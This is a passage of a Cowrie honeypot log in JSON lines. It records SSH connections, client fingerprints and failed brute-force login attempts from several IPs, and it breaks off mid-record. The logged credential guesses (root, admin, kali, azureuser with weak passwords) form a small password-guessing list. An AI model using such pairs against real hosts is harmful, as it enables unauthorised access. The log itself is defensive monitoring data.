{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:16.096439Z","src_ip":"141.11.88.14","session":"cecf6bf168d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:16.100910Z","src_ip":"141.11.88.14","session":"cecf6bf168d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:17.399988Z","src_ip":"141.11.88.14","session":"cecf6bf168d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:18.647652Z","src_ip":"141.11.88.14","session":"cecf6bf168d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":57936,"dst_ip":"10.17.0.5","dst_port":22,"session":"a45cad5ffe65","protocol":"ssh","message":"New connection: 14.63.196.175:57936 (10.17.0.5:22) [session: a45cad5ffe65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:23.076120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:23.080856Z","src_ip":"14.63.196.175","session":"a45cad5ffe65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:23.281981Z","src_ip":"14.63.196.175","session":"a45cad5ffe65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11804,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b53ef1047cc","protocol":"ssh","message":"New connection: 141.11.88.14:11804 (10.17.0.5:22) [session: 4b53ef1047cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:23.598837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:23.677710Z","src_ip":"141.11.88.14","session":"4b53ef1047cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:23.764570Z","src_ip":"141.11.88.14","session":"4b53ef1047cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rizal","password":"123","message":"login attempt [rizal/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:24.122876Z","src_ip":"14.63.196.175","session":"a45cad5ffe65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"github","password":"github","message":"login attempt [github/github] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:24.365098Z","src_ip":"141.11.88.14","session":"4b53ef1047cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:25.327761Z","src_ip":"14.63.196.175","session":"a45cad5ffe65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:25.473577Z","src_ip":"141.11.88.14","session":"4b53ef1047cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62934,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c5583d0d4bc","protocol":"ssh","message":"New connection: 141.11.88.14:62934 (10.17.0.5:22) [session: 3c5583d0d4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:30.875564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:30.924543Z","src_ip":"141.11.88.14","session":"3c5583d0d4bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:30.989321Z","src_ip":"141.11.88.14","session":"3c5583d0d4bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser@123","message":"login attempt [azureuser/azureuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:31.332072Z","src_ip":"141.11.88.14","session":"3c5583d0d4bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:32.539054Z","src_ip":"141.11.88.14","session":"3c5583d0d4bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17428,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6175d2a28a8","protocol":"ssh","message":"New connection: 141.11.88.14:17428 (10.17.0.5:22) [session: a6175d2a28a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:37.509264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:37.786871Z","src_ip":"141.11.88.14","session":"a6175d2a28a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:37.806515Z","src_ip":"141.11.88.14","session":"a6175d2a28a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567","message":"login attempt [admin/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:39.179477Z","src_ip":"141.11.88.14","session":"a6175d2a28a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:40.431112Z","src_ip":"141.11.88.14","session":"a6175d2a28a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17466,"dst_ip":"10.17.0.5","dst_port":22,"session":"98c66d84d9c9","protocol":"ssh","message":"New connection: 141.11.88.14:17466 (10.17.0.5:22) [session: 98c66d84d9c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:43.925893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:44.292276Z","src_ip":"141.11.88.14","session":"98c66d84d9c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:44.295360Z","src_ip":"141.11.88.14","session":"98c66d84d9c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:47.772437Z","src_ip":"141.11.88.14","session":"98c66d84d9c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:49.633851Z","src_ip":"141.11.88.14","session":"98c66d84d9c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":57488,"dst_ip":"159.203.135.109","dst_port":22,"session":"45114a6c682d","protocol":"ssh","message":"New connection: 161.132.50.236:57488 (159.203.135.109:22) [session: 45114a6c682d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:51.009507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:51.013844Z","src_ip":"161.132.50.236","session":"45114a6c682d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:51.105087Z","src_ip":"161.132.50.236","session":"45114a6c682d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17660,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c061bfa1681","protocol":"ssh","message":"New connection: 141.11.88.14:17660 (10.17.0.5:22) [session: 4c061bfa1681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:51.422273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:51.439315Z","src_ip":"141.11.88.14","session":"4c061bfa1681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ll","password":"ll123","message":"login attempt [ll/ll123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:51.493424Z","src_ip":"161.132.50.236","session":"45114a6c682d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:51.510714Z","src_ip":"141.11.88.14","session":"4c061bfa1681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe,./","message":"login attempt [root/123qwe,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:52.322505Z","src_ip":"141.11.88.14","session":"4c061bfa1681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:52.583782Z","src_ip":"161.132.50.236","session":"45114a6c682d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:53.577208Z","src_ip":"141.11.88.14","session":"4c061bfa1681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.22105097770691,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:55.431443Z","src_ip":"128.199.8.54","session":"dab48b934b37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17680,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef49c36ccda","protocol":"ssh","message":"New connection: 141.11.88.14:17680 (10.17.0.5:22) [session: cef49c36ccda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:56.685141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:57.004212Z","src_ip":"141.11.88.14","session":"cef49c36ccda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@